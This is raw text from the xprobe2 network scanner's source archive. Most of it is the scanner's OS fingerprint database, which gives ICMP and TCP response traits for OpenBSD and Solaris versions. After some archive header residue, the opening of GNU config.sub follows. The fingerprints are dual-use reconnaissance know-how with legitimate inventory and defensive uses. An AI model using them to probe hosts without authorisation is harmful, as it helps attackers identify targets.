icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = <20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 3.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 24 August 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = <20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 3.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = <20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 2.9" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = <20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 2.8" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = <20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 2.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = <20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 2.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = <20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 2.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 2.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 July 2003 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } #Sun Solaris fingerprint { OS_ID = "Sun Solaris 10 (SunOS 5.10)" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 16 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 49232 tcp_syn_ack_options_order = "NOP NOP TIMESTAMP MSS NOP WSCALE NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Sun Solaris 9 (SunOS 5.9)" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 08 September 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 49232 tcp_syn_ack_options_order = "NOP NOP TIMESTAMP MSS NOP WSCALE NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Sun Solaris 8 (SunOS 2.8)" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 01 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 24616 tcp_syn_ack_options_order = "NOP NOP TIMESTAMP NOP WSCALE NOP NOP SACK MSS" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Sun Solaris 7 (SunOS 2.7)" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 01 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 10136 tcp_syn_ack_options_order = "NOP NOP TIMESTAMP NOP WSCALE NOP NOP SACK MSS" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Sun Solaris 6 (SunOS 2.6)" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 10136 tcp_syn_ack_options_order = "NOP NOP TIMESTAMP NOP WSCALE MSS" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Sun Solaris 2.5.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 23 July 2003 #Modified: 23 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } xprobe2-0.3/cfg-scripts000755 001751 000000 00000000000 10271644026 015332 5ustar00mederwheel000000 000000 xprobe2-0.3/cfg-scripts/config.sub000755 001751 000000 00000075113 10271643771 017411 0ustar00mederwheel000000 000000 #! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. timestamp='2004-08-29' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software # can handle that machine. It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, # Boston, MA 02111-1307, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. The user should be able to distinguish # a failure to support a valid configuration from a meaningless # configuration. # The goal of this file is to map all the various variations of a given # machine specification into a single specification in the form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM # or in some cases, the newer four-part form: # CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM # It is wrong to echo any other type of specification. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] CPU-MFR-OPSYS $0 [OPTION] ALIAS Canonicalize a configuration name. Operation modes: -h, --help print this help, 